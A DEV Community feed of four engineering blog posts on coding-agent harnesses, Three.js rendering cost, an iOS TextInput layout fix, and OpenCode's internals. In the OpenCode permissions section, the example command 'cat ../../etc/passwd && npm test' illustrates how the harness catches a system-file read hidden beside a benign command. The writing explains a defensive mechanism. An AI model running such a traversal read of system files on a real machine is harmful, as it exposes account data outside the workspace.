DEV Community: Dheeraj Akula

What is an agent harness? Claude Code vs Codex CLI vs OpenCode

Dheeraj Akula — Sun, 16 Aug 2026 19:43:33 +0000

A harness straps a source of power to useful work and decides where that power is allowed to go. Climbing harness, wiring harness, horse harness. The horse is the easiest to picture: the animal supplies the strength, and the harness decides what it can reach, what it's allowed to look at, and how much of that strength arrives at the load.

A coding agent splits the same way. The model is the animal. The agent harness is everything strapped around it: the loop that keeps it working, the tools it can call, what it gets shown, and what it's allowed to touch. And the straps turn out to matter about as much as the animal.

In May 2026 a group at Peking University ran 106 tasks through six different agent harnesses over the same pool of models, logging more than five thousand runs. The best harness scored 76.2, the worst 52.4. That 23.8 point gap came from the harness, not the model doing the thinking.

If you want the mechanism rather than the scoreboard, the clearest experiment is older. In 2024 a group at Princeton held one model constant and changed only the interface it used to work on a codebase. Show it a hundred lines of a file at a time and it fixed 18% of real GitHub issues. Show it the whole file and that fell to 12.7%.

More information, worse results. That is the SWE-agent paper, and it called the thing it was varying the agent-computer interface. We say harness now.

I wanted to know what the three big ones actually do differently, so I cloned them rather than reading their marketing. Two are open source. The third had an unusually informative accident.

A harness is a while loop with function calls

Strip the branding off and a language model is one function. Text in, text out. It cannot read a file, run a test, or remember what it said a minute ago unless you paste the conversation back in. It's a very capable person locked in a room, passing notes under the door.

The harness is everything on your side of the door, and at its core it is embarrassingly small:

loop:
    response = model(context)
    if response contains a tool call:
        result = run_tool(tool_call)      # read a file, run bash, edit code
        context += tool_call + result
    else:
        show response to user, wait for input

That's the agentic loop, in full. The model emits text saying "I want to run npm test". The harness actually runs it, pastes the output back into the context, and calls the model again. The model reads the failure, decides what to do next, and round it goes. Read, edit, run, read the error, fix, run again.

This isn't a simplification for the sake of a blog post. In OpenCode, the easiest of the three to read, it is a literal while (true) in session/prompt.ts that calls the model once per pass and breaks when the last response contains no unexecuted tool calls. Every coding agent you have used is this loop wearing a different coat.

So why do harnesses differ so much, if the loop is the same? Because the loop is the skeleton and everything interesting is the flesh around it: which tools exist, how they're described, what the model is told before your first message, what runs without asking permission, and what gets thrown away when the context fills up.

Princeton tested those decisions one at a time, and all three tools below have taken a position on the results. The file window from the top was one of them, worth 5.3 points. Trimming the conversation history to just the last five tool outputs, instead of keeping all of it, was worth another 3. Giving the edit tool a linter that refuses syntactically broken changes was worth 3 points on its own.

Notice what kind of decisions those are. The first two win by showing the model less. The third wins by letting it get away with less. Neither touches a model weight. All of it is harness.

Which brings us to the three tools, and to three different answers. It's easiest to see them side by side before reading anyone's source: one animal buried under every strap its maker could think of, one wearing almost nothing, one built from pieces you can unclip and swap out depending on the job.

Claude Code: maximal tools, industrial context engineering

Claude Code is closed source. On March 31, 2026 a packaging mistake shipped a 59.8 MB source map inside @anthropic-ai/claude-code v2.1.88, and the community had reconstructed the TypeScript before it was pulled. The analyses from that window are the reason anyone can discuss its internals, and the prompts have been archived per version ever since. I read the v2.1.223 archive.

Treat what follows as reconstructed material, because that's what it is. It's a community extraction rather than an Anthropic release, and the files in it aren't finished strings. They're templates, full of ${VAR} interpolation and ternaries, assembled at runtime from your sandbox mode, git state, feature flags and whichever model is running. Many are mutually exclusive variants of the same tool.

That last part matters, so here is exactly what I counted:

# in the archive's system-prompts/ directory
cat tool-description-*.md | wc -w   # 28973
cat system-prompt-*.md    | wc -w   # 28373

Two corpora, near enough the same size. No single session ships 29,000 words of tool descriptions, since the conditionals mean only a slice gets selected on any given turn. What the ratio tells you is where the effort went. Anthropic has put roughly as many words into describing its tools as into every other instruction the model receives, combined.

The tool surface is enormous to match: about 45 tool-name slots covering some 95 tools, each described at length. The Bash description alone is spread across 39 template files, 16 of which exist only to reword it depending on sandbox mode.

The Princeton result says a rich, carefully described tool surface beats a bare shell by 64%, about 7 points on that benchmark. Claude Code is what it looks like to believe that finding completely and then fund it for two years.

Two other things stuck with me. The first is that orchestration is written in English. The largest single system-prompt fragment is a coordinator block of 5,916 tokens, and it's pure prose about when to delegate, when to spawn a subagent versus continue an existing one, and how to synthesize what comes back. There's no scheduler anywhere. The architecture diagram is an essay. There's even a dedicated block arguing against delegating, which opens with "Subagents multiply cost and time" and later points out that verification which fits in your own loop belongs in your own loop.

The second is that the prompt is compiled for cacheability. Analyses of the leak describe a split at a constant named __SYSTEM_PROMPT_DYNAMIC_BOUNDARY__. Everything above it is identical for every user on the planet and sits in a shared cache; everything below is your session, your CLAUDE.md, your git status. Without that trick a prompt this size would not be affordable. Claude Code's own shipped documentation hands the same advice to people building agents: never edit the system prompt mid-session, because it invalidates the cached prefix.

Codex CLI: give it a shell and get out of the way

OpenAI's Codex CLI is Apache-2.0 Rust, and it bets the other way on almost everything. Its registry defines around 28 tool names, but most are feature-gated, and a plain local session exposes six to eight: shell_command, apply_patch, update_plan, view_image, web search, and the MCP resource tools if you've configured any servers.

The absences are the point. No read tool. No grep tool. No glob tool. No edit tool. Reading and searching go through the shell, and the only way to change a file is apply_patch, which isn't even a JSON tool but a freeform one with a Lark grammar attached.

You can watch this in OpenAI's own splash screenshot. Read the model's reasoning in the middle of the frame: it's talking itself into ls and rg --files, because that's what it has.

The most telling part is where those missing tools went. They come back as prose.

There is no search tool to describe, so the prompt simply tells the model to reach first for rg or rg --files. There is no write tool, so it warns: "Do not create or edit files with cat or other shell write tricks."

Claude Code puts that kind of knowledge in the tool descriptions. Codex puts it in a sentence. The whole system prompt runs between 1,822 and 3,511 words depending on the model, and it now ships as JSON rather than the markdown files still sitting in the repo.

This is a deliberate bet against the Princeton result, and not a foolish one. That paper's shell-only baseline was a 2024 model. Since then, models have been trained hard on terminal use, and Codex is betting they have absorbed the interface into their weights. If that is right, the scaffolding that bought 7 points in 2024 now costs more in tokens and rigidity than it returns. Whether it is right, nobody seems to have measured properly.

What Codex spends its complexity on instead is isolation, and here it's the most serious of the three by some distance. Three sandbox implementations ship with it: Seatbelt on macOS, bubblewrap plus seccomp on Linux, and a Windows sandbox. The policy is a typed enum of read-only (the default), workspace-write, external-sandbox and danger-full-access. Network access is off unless you turn it on. The macOS policy is generated at spawn time and passed as an argument rather than written to a file, starting from a blanket (deny default).

One small detail I liked: inside every writable root, three directories are forced back to read-only, namely .git, .agents and .codex. The agent can rewrite your source all it likes, but it cannot touch your git internals or its own configuration. Someone thought about that.

The difference that matters is this. Claude Code decides whether a command is safe by parsing it and reasoning about it. Codex decides by asking the kernel to make the dangerous thing impossible. One is a very good lock on the door. The other is a room with no door.

OpenCode: the harness with no favorite model

OpenCode is MIT TypeScript, version 1.18.14 as I write this, and it asks a different question: what if the harness had no allegiance to any lab at all? It resolves models from a catalog with 24 provider packages bundled and installs anything else from npm on demand, so Anthropic, OpenAI, Google and a local model under Ollama are all the same kind of thing to it.

Put its screenshot next to the Codex one and you can see the difference without reading a line of source. Where Codex reasoned its way toward rg --files, this one issues Grep, Glob and Read as named tools. Look at the status bar too: that's Claude Opus, running inside a harness with no relationship to Anthropic.

Its tool surface sits between the other two at 17 tools, with the descriptions kept in separate .txt files totalling 2,757 words. But it's the most interesting of the three on the Princeton findings, because it implements two of them almost literally.

The linter guardrail is real. In tool/edit.ts, right after applying an edit, it calls lsp.touchFile() and then lsp.diagnostics() and folds the result into what the model reads back. That's the paper's 3-point finding shipped in production, and better than the paper's version: not a syntax check but your actual language server, the same diagnostics your editor shows you.

The forgetting is deliberate and tunable. session/compaction.ts has two mechanisms with named constants. Prune truncates old tool outputs in place at TOOL_OUTPUT_MAX_CHARS = 2_000 while keeping the last DEFAULT_TAIL_TURNS = 2 turns whole. Compact summarizes when the context overflows. Keep the recent observations, gut the old ones, with a config file attached.

There's one thing here I haven't seen anywhere else: the harness reshapes itself around the model. In the tool registry, GPT-family models are handed apply_patch and have edit and write removed, while everything else gets the inverse. The system prompt is chosen per model family too, with separate files for Anthropic, GPT, Codex and Gemini. OpenCode has quietly concluded that there is no best tool surface, only the best tool surface for a given model. Of the three, that is the sharpest reading of the Princeton result.

The trade-offs are real. There is no OS-level sandbox at all. Permissions are in-process checks, evaluated last-matching-rule-wins with a default of ask, and the bash tool parses commands with tree-sitter to derive per-command permission patterns rather than asking once for all shell access. That's decent engineering, and it's still a lock on a door rather than a room without one.

Architecturally, though, it's the only one of the three with a real client-server split: the agent runs as a headless HTTP server whose OpenAPI spec generates the client SDK, and the terminal UI is just one consumer of it.

The thing two of them are quietly building next

Here's what I didn't expect to find, in two codebases at once.

Codex's three newest models are configured with "tool_mode": "code_mode_only". In that mode the whole tool surface collapses into a single freeform tool called exec, and its payload is source code that calls the tools as an ordinary API. Not a menu the model picks from one item at a time, but a program it writes. Codex also supports deferred tools that aren't included in the request at all, which the model finds on demand through a tool_search call. OpenCode has the same idea behind an experimental flag, a tool named execute, which swaps the per-tool listings for a typed catalog the model writes code against.

Think about what that does to context. Instead of paying for every tool description on every turn, you pay for one and let the model spend its own reasoning composing the rest. It's the Princeton lesson taken to the end of the line: the harness's job isn't to show the model everything it might need, it's to show as little as possible while keeping everything reachable.

What I'd actually take away

Most of what a harness adds is subtraction. It shows the model a window of a file rather than the whole file, drops stale tool output, and refuses a broken edit at the tool boundary instead of letting the model find out three turns later. Those are all restrictions, and in the paper they're what scored highest. That isn't what a year of bigger-context-window announcements would lead you to expect.

Each of the three bets differently on how much to take away. Claude Code believes in the tool surface, and spends more words describing its tools than instructing the model, with a caching pipeline built to make that affordable. Codex believes modern models already know the terminal, so it ships a handful of tools, a prompt in the low thousands of words, and three kernel sandboxes. OpenCode believes the answer depends on the model, so it swaps its own tools and prompts based on which one you loaded, and hands you the server to run yourself.

If you're picking one today: Claude Code for the deepest tooling if you don't mind the token bill, Codex for speed and a sandbox you can actually defend, OpenCode to own the stack and bring your own model. But a harness is only a loop, a tool list and a set of decisions about what to throw away, and once you can see that you can read any of these repos in an afternoon and stop guessing why your agent went round in circles.

Everyone is still arguing about which animal is strongest. The measurements keep pointing at the straps.

I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent
harnesses and developer tools. I write up the problems that took me too long to
work out. More at dheerajakula.dev/blog.

Why a static Three.js scene still cooks your phone, and the dirty-flag fix

Dheeraj Akula — Sun, 16 Aug 2026 19:43:30 +0000

So I have a bunch of small games on my site. Ludo, tic-tac-toe, carrom, rock-paper-scissors. Nothing fancy, the kind of thing you'd think runs on a potato. They're built with Three.js, which is the standard library for drawing 3D graphics in a web page. I was testing them on my iPhone and the phone got genuinely hot. Hot to hold. And here's the part that bugged me: I wasn't even doing anything. I was just sitting on the Ludo board waiting for my turn. Nothing on screen was moving.

My first instinct was the lazy one, and I want to call it out because I bet it's yours too: maybe Three.js is just too heavy for these little games, maybe I should rip it out and draw everything with plain Canvas. That instinct is completely backwards, and figuring out why taught me something about how the GPU actually spends its time that I wish I'd known years ago.

A still frame is not a free frame

Here's the render loop every Three.js tutorial hands you. A render loop is just a function that draws your scene over and over so it looks alive:

function animate() {
  requestAnimationFrame(animate);
  renderer.render(scene, camera);
}
animate();

Two things are happening here. requestAnimationFrame (people shorten it to rAF) is a browser function that means "run this again right before you paint the next frame." Browsers repaint the screen about 60 times a second, so anything you hand to rAF runs about 60 times a second too. And renderer.render(...) is the line that actually tells the GPU to draw the whole scene: clear the screen, then redraw every single object on it.

So this loop tells the GPU to repaint everything, 60 times a second, forever, whether or not anything changed. And a GPU pinned at full tilt is exactly what is heating up the phone. That right there is the whole problem.

The GPU has no idea your scene is "basically static." Every single call clears the framebuffer and redraws every object from scratch. A motionless Ludo board at 60 frames per second costs exactly as much as a board mid-animation, because it is doing literally the same work, 60 times a second, while you stare at a menu deciding your move.

So the heat was never about the framework. It was about asking the GPU to repaint an unchanging picture 60 times a second for no reason at all. Here, watch the difference, and tap "Make a move" on the cold one:

The left phone is the tutorial loop. It climbs to hot and stays there. The right one only draws when something actually happened, so it sits cold until you poke it. Same board, same framework. The only difference is whether the loop bothers to draw when nothing moved.

And no, switching to Canvas2D (the simpler, non-3D way of drawing in a browser) wouldn't have saved me. A 60fps loop redrawing a full-screen canvas heats a phone just as happily, 3D or not. The renderer was never the variable. The loop was.

Render on demand

The fix is embarrassingly simple once you see it. Stop rendering when nothing changed. The trick is a dirty flag: a tiny true/false value you flip to true whenever something actually changes on screen. "Dirty" is the old programming word for "this is out of date, it needs repainting." Then the loop only calls renderer.render() on frames where the flag is set.

let needsRender = true; // draw the first frame

function invalidate() {
  needsRender = true; // "the picture is out of date, please redraw it"
}

function animate() {
  requestAnimationFrame(animate);

  // step whatever is actually animating; these call invalidate() if they changed something
  const moving = tweens.update() || particles.update();

  if (needsRender || moving) {
    renderer.render(scene, camera);
    needsRender = false;
  }
}
animate();

Now a Ludo board waiting for your input renders zero frames. You call invalidate() from your input handlers, your animations, your resize listener, anywhere a pixel genuinely changes. A turn-based game spends almost its whole life doing nothing, so almost all of that GPU work just evaporates.

Here's the same loop as a flowchart. Flip the switch and watch where the frame goes:

Idle, the frame falls straight through to "sleep" and the GPU does nothing. The moment something's moving, every frame pays for a real render again, which is exactly what you want, only when you want it.

If you use @react-three/fiber (the popular React wrapper around Three.js), you get this for free. Set frameloop="demand" on the <Canvas> and call invalidate() when you change something. Same idea, one prop.

The two settings that quietly double your GPU bill

Render-on-demand kills the wasted frames. But the frames you do draw can each cost about twice what they should, and two renderer defaults are almost always the reason. They bite hardest on phones:

// the expensive defaults
new THREE.WebGLRenderer({ antialias: true });
renderer.setPixelRatio(window.devicePixelRatio); // often 3 on phones

Two settings, so let me take them one at a time.

The first is antialias. Antialiasing is edge-smoothing: it stops a diagonal line from looking like a staircase of pixels by blending the colors along the edge. Turning it on makes Three.js use MSAA, which stands for multisample antialiasing. Normally the GPU decides a pixel's color from a single sample; with MSAA it takes several samples per pixel and averages them. Smoother edges, but that's literally several times the shading work on every pixel you draw. On a phone you can barely see the difference. You can absolutely feel the heat.

The second is setPixelRatio, and this one is sneakier. devicePixelRatio is how many physical screen pixels your phone packs into one CSS pixel, the unit your layout code measures in. On a modern phone it's 2 or 3. So a canvas that's "390 CSS pixels" wide is really painting up to about 1170 physical pixels across, and the GPU fills every one. And since the canvas scales in both width and height, going from a ratio of 1.5 to 3 doesn't double the work, it roughly quadruples it.

Drag both of these around and watch the cost run away from you:

Here's the thing though: these games run inside a WebView, the embedded browser that a native app uses to show web content. On a small phone screen inside a WebView you almost never need full antialiasing or a pixel ratio of 3. So the fix is to detect that case and dial both back. It roughly halves the GPU load for a result nobody can tell apart:

const lowPower = isWebView || isMobile;
new THREE.WebGLRenderer({ antialias: !lowPower });
renderer.setPixelRatio(Math.min(window.devicePixelRatio, lowPower ? 1.5 : 2));

Two more leaks worth closing

While I was in there, two smaller things were heating up the games that did animate:

Nothing paused when the app went to the background. Browsers fire a visibilitychange event when your tab or app is hidden or comes back. None of the games listened for it, so the loop kept spinning even after you switched apps. The fix: cancel the animation frame when hidden, resume when visible. Put it in one shared helper, every scene needs it.
Per-frame allocations. One game built a new THREE.Color() every single frame during an animation, another rebuilt image textures mid-countdown. Allocating inside a 60fps loop churns the garbage collector, and on mobile its pauses show up as both stutter and extra heat. Make those objects once, reuse them.

The takeaway

When a "simple" WebGL or Three.js scene cooks a phone, do not reach for a lighter framework first. Check the loop. The default requestAnimationFrame pattern renders unconditionally, and an unchanging frame is not a cheap frame. Render only when something changed, cap your pixel ratio and antialiasing on constrained devices, and pause when you're hidden. The framework was never the thing burning your battery.

I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent
harnesses and developer tools. I write up the problems that took me too long to
work out. More at dheerajakula.dev/blog.

Why programmatic inserts don't wrap on iOS multiline TextInput, and the one-line native fix

Dheeraj Akula — Sun, 16 Aug 2026 19:43:26 +0000

Ran into this last week on a multiline TextInput and lost a chunk of a day to it. Writing it up in case someone else hits the same thing.

The bug

I've got a multiline TextInput hooked up with react-native-controlled-mentions and a suggestions dropdown above it. You type a trigger character like @ to pick a suggestion from a dropdown, and the library inserts a styled name into the text box. Short insertions are fine but once the text is long enough that the inserted mention pushes the line past the right edge, and the input stops resizing on iOS.

The text is still there. Selection works, select-all grabs everything, the cursor sits where you'd expect. But the wrapped line renders outside the input's gets clipped entirely. The container is still sized for one line even though there's two lines of text in it.

As soon as the user types anything, even a space, the input resizes and the second line shows up correctly. So it's not a persistent broken state, just a gap between the programmatic insert and the next keystroke.

The folklore fix

Search "multiline TextInput not wrapping iOS" and you land on facebook/react-native#5213, filed and closed in 2016 and linked from every Stack Overflow answer on the topic. The accepted workarounds: remount with a key prop, toggle scrollEnabled, add alignSelf: 'flex-start', or blur() then focus().

I reached for the key remount. It worked. But every time a mention wrapped to a new line, the keyboard dismissed for a frame and re-appeared. A visible flicker that got worse under LayoutAnimation.

Tearing down a native UITextView and rebuilding it inside the same commit is never free. There is a one-frame window where neither the old nor the new view is focused. iOS notices and starts the keyboard-dismissal animation. By the time the new input mounts, the keyboard is halfway down. That is your flicker.

So I went looking for the actual root cause.

Reading the library

I was using react-native-controlled-mentions. Opened its source:

// node_modules/react-native-controlled-mentions/dist/hooks/use-mentions.js
const textInputProps = {
  onChangeText: handleTextChange,
  children: React.createElement(Text, null, mentionState.parts.map(
    ({ text, config, data }, index) => {
      if (!config) return React.createElement(Text, { key: index }, text);
      return React.createElement(Text, { key: ..., style: ... }, text);
    }
  )),
};

The library does not drive the TextInput via the value prop. It passes children: a tree of styled <Text> spans. When you pick a mention, the tree rebuilds and the TextInput receives new children on the next render. This detail is invisible from the library's public API, and it is the one that matters.

Why the 2016 fix doesn't apply

The accepted fix for #5213 added one line to the value-prop setter:

- (void)setText:(NSString *)text {
  _textView.text = text;
  [self updateContentSize]; // <-- the 2016 fix
}

The library never passes value, so setText: never runs. And the file this patch lives in (RCTTextView.m) is Paper-era; my project is on Fabric.

On Fabric, a children update flows through _setAttributedString: → setAttributedText: → textDidChange. I pulled the 0.76-stable source to check, and the whole chain looks like this:

// RCTUITextView.mm
- (void)setAttributedText:(NSAttributedString *)attributedText {
  [super setAttributedText:attributedText];
  [self textDidChange];
}

- (void)textDidChange {
  _textWasPasted = NO;
  [self _invalidatePlaceholderVisibility];
}

No invalidateIntrinsicContentSize. No setNeedsLayout. The attributed string updates, the glyphs are correct, but nothing tells the view its size may have changed. The wrap is computed; the frame it needs does not exist.

On a keystroke this does not matter: UIKit's own typing handlers trigger layout internally. On a programmatic children swap, nothing does.

What I actually needed

The diagnosis reframes the problem. It is not "the text didn't update"; the text did update. It is "the view did not re-run layoutSubviews." That is a strictly smaller problem, and it has a strictly smaller fix.

On iOS, any event that forces UITextView to resolve glyph positions triggers a layout pass. Setting the selection range is one such event: the text view needs to know where the caret sits in glyph coordinates, which means it has to walk the layout manager.

React Native exposes selection as a writable prop, and setNativeProps lets you push it through without a React re-render:

const mentionStateRef = useRef(mentionState);
mentionStateRef.current = mentionState;

// in the dropdown onPress:
triggers.game.onSelect({ id: g.id, name: g.id });
requestAnimationFrame(() => {
  const end = mentionStateRef.current.plainText.length;
  inputRef.current?.setNativeProps({
    selection: { start: end, end },
  });
});

requestAnimationFrame waits for React to commit the children update. setNativeProps then nudges the native view to re-resolve glyph positions, which runs layoutSubviews, which recomputes intrinsic content size, which grows the container, which makes the wrapped line visible.

The caret position I write (plainText.length) is where the mentions library wants the cursor after an insert, so from the user's perspective nothing visible happens, except that the clipping is gone.

No remount. No focus loss. No keyboard flicker. One native round-trip.

I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent
harnesses and developer tools. I write up the problems that took me too long to
work out. More at dheerajakula.dev/blog.

OpenCode source code deep dive: how an open source agent harness really works

Dheeraj Akula — Sun, 16 Aug 2026 19:43:22 +0000

Strip the model out of a coding agent and most of the product is still there. What remains is the harness: the code that decides what the model sees, what it can touch, and what happens when it gets something wrong. I wrote a companion post on what an agent harness is that covers the idea from the outside. This post opens one up.

OpenCode is the right harness to open. It's MIT licensed, it's TypeScript, and every decision it makes is a file you can read.

Two small things before the rest. It's on version 1.18.15 as I write this, so some of what follows will have moved. And the repo now lives at anomalyco/opencode, though the old sst/opencode URL still redirects. Dax explained on X that Anomaly was always the company name and they finally started using it in public.

Seen from the outside, a harness is six things: a loop, a set of instructions, a tool surface, a permission system, a context policy, and a recovery story. This post takes one harness and walks those parts in the order your request actually flows through them. Your message enters the session loop. The loop picks a system prompt and a tool list based on which model you loaded. The tools ask permission before touching anything. Modes and subagents turn out to be permission rulesets with prompts attached. The context manager decides what survives to the next turn. And a snapshot system stands by to undo the damage. The post covers each of those in turn, closing with two sections on where the project is heading. Every section names the subsystem and the files that implement it, so you can follow along in the repo.

The session loop: what the `while (true)` actually does

Ask anyone what an agentic loop is and you'll get the same answer: a while (true) that calls the model, runs any tool it asks for, and breaks when there are no tool calls left. OpenCode really does have that while (true), in session/prompt.ts. It's just that calling the model turns out to be the smallest part of what each pass does.

A pass starts by reloading the conversation from SQLite and checking for queued work:

while (true) {
  const { user: lastUser, finished: lastFinished, tasks } = MessageV2.latest(msgs)
  const task = tasks.pop()

  if (task?.type === "subtask")    { ...; continue }
  if (task?.type === "compaction") { ...; continue }
  if (lastFinished && (yield* compaction.isOverflow(...))) { ...; continue }

Look at those three continues. Before this loop will talk to the model, it checks whether a subagent is waiting to run, whether the conversation is due a summary, and whether the last reply just blew past the context window and made one due. A pass might do any of those instead of calling the model at all. And that tasks list is not a queue sitting in memory somewhere. It's rebuilt every pass from the conversation itself: pending work is stored as message parts in SQLite, so queueing a summary means writing a part into the conversation and letting the next pass find it.

A pass with nothing queued is the one that calls the model, and even that is careful in ways a toy loop isn't. It looks up which agent the message is addressed to, because the agent decides the system prompt and the tool list. It writes an empty assistant message into SQLite before the model has produced a single word, so if the process dies mid-reply there's a row to mark as interrupted instead of a reply that never existed. Then the stream opens: reply text is written to the database as it arrives, tool calls run the moment the model emits them, and the snapshot system records your files around each step.

The stream ends with a verdict, and the bottom of the loop is three lines acting on it:

if (result === "stop") return "break"
if (result === "compact") yield* compaction.create({ sessionID, auto: true, ... })
return "continue"

stop means the reply is done and the loop breaks back to idle. If the model ended its reply by calling tools instead, those already ran during the stream; the extra lap sends the conversation back so the model can read their results. And a nearly full window queues a compaction part into the conversation, the same queue this pass checked at the top.

The stop-or-lap decision keys off the finish reason the provider reports, and providers get it wrong:

// Some providers return "stop" even when the assistant message contains
// tool calls. Keep the loop running so tool results can be sent back to
// the model, but ignore cleanup-marked interrupted orphans.

One provider returned stop alongside tool calls one day, and now a defensive check lives in the loop forever. A lot of harness code looks like this.

Everything in the rest of this post is something this loop consults on its way round.

System prompts: one per model family

The first thing the loop needs is a system prompt, and session/system.ts picks one by matching on the model ID:

if (model.api.id.includes("gpt-4") || model.api.id.includes("o1") || model.api.id.includes("o3"))
  return [PROMPT_BEAST]
if (model.api.id.includes("gpt"))     return model.api.id.includes("codex") ? [PROMPT_CODEX] : [PROMPT_GPT]
if (model.api.id.includes("gemini-")) return [PROMPT_GEMINI]
if (model.api.id.includes("claude"))  return [PROMPT_ANTHROPIC]

Nine full system prompts, one per model family, and their word counts are the interesting part:

Prompt	Words
codex	1,171
trinity	1,276
anthropic	1,335
default	1,397
kimi	1,411
meta	1,464
gpt	1,492
beast	1,904
gemini	2,235

Claude gets 1,335 words. Gemini gets 2,235, roughly 67% more. The file for older GPT models is literally named beast.txt.

Nobody writes an extra nine hundred words for one model family for fun. Someone sat there watching Gemini not use the todo tool, or stop early, or narrate what it was about to do instead of doing it, and added a paragraph. Then another. What you're reading in that table is a fossil record of which models needed more supervision.

The harness has no single answer to "how much instruction does a model need." It has nine. There's a tenth on disk, copilot-gpt-5.txt, 2,283 words and the largest file in the directory, that nothing imports any more.

The tool surface: seventeen tools that change with the model

With a prompt chosen, the loop asks the registry for a tool list. tool/registry.ts assembles seventeen tools, four of them behind flags or client checks: shell, read, glob, grep, edit, write, task, webfetch, todowrite, websearch, skill, apply_patch, an internal invalid-call handler, plus question, execute, lsp and plan when enabled. Every description lives in a plain .txt file next to the code, and together they come to 2,757 words.

For comparison, Claude Code spends around 29,000 words describing its tools. OpenCode spends under three thousand for a comparable set.

It reads like it was written by someone who has watched a lot of models fail. The glob description is six bullets. The edit description is longer, and every line in it is a failure mode somebody hit:

The edit will FAIL if oldString is found multiple times in the file

The read tool description is the one I keep thinking about, because it contradicts the best evidence anyone has on the question. Princeton's SWE-agent showed a model doing better on a 100-line file window than on whole files. OpenCode returns up to 2,000 lines by default and then explicitly tells the model to stop being careful:

Avoid tiny repeated slices (30 line chunks). If you need more context, read a larger window.

Either the 2024 result no longer holds for 2026 models, or OpenCode is leaving points on the table. I don't know which, and neither does anyone else as far as I can tell, because nobody has rerun that ablation on a current model. It's the single most useful experiment in this space and it's two years stale.

The registry does one thing I haven't seen elsewhere. It filters the tool list by model ID:

const usePatch = input.modelID.includes("gpt-") && !input.modelID.includes("oss")
                 && !input.modelID.includes("gpt-4")
if (tool.id === ApplyPatchTool.id)                          return usePatch
if (tool.id === EditTool.id || tool.id === WriteTool.id)    return !usePatch

GPT models get apply_patch and lose edit and write. Everything else gets the inverse. OpenAI trained its models on apply_patch, so OpenCode hands them the tool they already know and takes away the ones they don't.

Permissions: how the harness decides what to allow

The model now has a prompt and a tool list, and the moment it calls one of those tools, the permission system gets a vote. Nobody writes about this subsystem, and it turned out to be the most interesting one in the repo.

The evaluator itself is about ten lines:

export function evaluate(permission: string, pattern: string, ...rulesets: PermissionV1.Ruleset[]) {
  return rulesets.flat().findLast((rule) =>
    Wildcard.match(permission, rule.permission) && Wildcard.match(pattern, rule.pattern)
  ) ?? { action: "ask", permission, pattern: "*" }
}

A ruleset is a flat list of {permission, pattern, action} triples, both sides wildcard-matched, last matching rule wins, and the default when nothing matches is ask. Rulesets come from opencode.json through fromConfig(), which flattens the nested config into triples and expands ~ and $HOME into real home directory paths as it goes.

Concretely, this config:

{
  "permission": {
    "edit": "ask",
    "bash": {
      "git status *": "allow",
      "git push *": "deny"
    }
  }
}

flattens into three triples:

{ permission: "edit", pattern: "*",            action: "ask"   }
{ permission: "bash", pattern: "git status *", action: "allow" }
{ permission: "bash", pattern: "git push *",   action: "deny"  }

Now the model runs git status --short. The shell tool asks the evaluator about ("bash", "git status --short"), the second triple matches, and the call goes through without a prompt. git push origin main hits the third triple and is refused. And npm test matches nothing, so it falls to the default and you get asked.

That's the entire policy engine. Everything else is about producing a good pattern to match against.

The ask lifecycle

When evaluation lands on ask, the tool call parks. Permission.ask() creates a Deferred, files it in a pending map keyed by request ID, publishes an event so the UI can draw a dialog, and awaits. The loop is now suspended on a promise that only a human can resolve.

What happens next depends on how you answer. Answering once resolves that one deferred and nothing else. Answering always also pushes the request's patterns onto an approved ruleset, then walks every other pending request in the session and auto-approves any that now evaluate to allow:

for (const [id, item] of pending.entries()) {
  if (item.info.sessionID !== existing.info.sessionID) continue
  const ok = item.info.patterns.every(
    (pattern) => evaluate(item.info.permission, pattern, approved).action === "allow",
  )
  if (!ok) continue
  ...
}

So approving npm run dev once can clear a queue of three identical questions that piled up behind it. Rejection goes the other way and is deliberately blunt: rejecting one request fails every other pending request in that session, on the theory that if you just said no, the plan the model was executing is dead anyway.

One more detail. Rejecting with a message does not raise a plain RejectedError, it raises a CorrectedError carrying your text as feedback, which the model reads as tool output. The permission dialog is a steering channel. "No, use the staging database" is both a refusal and an instruction, and the model gets both.

Turning a shell command into a pattern

For the read tool, the pattern is easy: it's the file path. For the shell tool it's a genuinely hard problem, because one command line can do several unrelated things at once. tool/shell.ts spends most of its 645 lines on it.

Take this command:

cat ../../etc/passwd && npm test

A naive harness asks you one vague question, "allow bash?", and whatever you answer covers both halves. Here's what OpenCode does instead.

It starts by actually parsing the command, with the same tree-sitter grammars your editor uses for syntax highlighting (bash and PowerShell, compiled to WebAssembly). The parse splits the line into its two real commands, cat ../../etc/passwd and npm test, and from here each one is handled on its own.

For each command, it asks two questions.

Does this command touch files? There's a hardcoded list of commands that do: rm, cp, mv, mkdir, touch, chmod, chown, cat, plus the PowerShell and cmd.exe equivalents. cat is on the list, so its argument gets the full treatment: strip the flags, unquote it, expand ~ and $HOME, and resolve it against the working directory. ../../etc/passwd resolves to /etc/passwd, which is outside your workspace, and that escape turns into its own permission request, external_directory for /etc. npm is not on the list, so it skips this step.

What pattern should represent it? This is what gets matched against your ruleset, exactly like the git status --short example above. Each command contributes its own pattern, so npm test is evaluated as npm test, not as part of some blob containing cat.

The result is that one command line becomes two specific questions: "this wants to read /etc, allow?" and "run npm test?" You can say no to the first and yes to the second.

There's one piece left. When you answer always, the harness has to decide how much to remember: the exact command, or something broader? That generalization step gets its own file.

The arity dictionary

The generalization step is permission/arity.ts, and it's my favorite file in the repo. The problem: approving npm test forever should not also approve npm publish, but approving git status probably should cover git status --short. How many tokens of a command actually name the command?

The answer is a lookup table of command-prefix arities. The saved pattern is always the first N tokens of the command plus a trailing *; the arity is that N, and the * only covers whatever trails after the cut. git is 2, so git checkout main generalizes to git checkout *. Cut one token earlier and you'd save git *, which silently pre-approves git push --force. Don't cut at all and you'd save git checkout main *, which doesn't even cover checking out a different branch. npm is 2 but npm run is 3, so npm run dev becomes npm run dev * rather than the far too permissive npm run *. ls is 1. aws and gcloud and gh are 3, because their real verb is two levels deep. Roughly 140 entries, longest prefix wins:

export function prefix(tokens: string[]) {
  for (let len = tokens.length; len > 0; len--) {
    const arity = ARITY[tokens.slice(0, len).join(" ")]
    if (arity !== undefined) return tokens.slice(0, arity)
  }
  return tokens.slice(0, 1)
}

And the dictionary was written by a language model. The generation prompt is committed directly above it as a comment:

You are generating a dictionary of command-prefix arities for bash-style commands. [...] Flags NEVER count as tokens. Only subcommands count. [...] Only include a longer prefix if its arity is different from what the shorter prefix already implies.

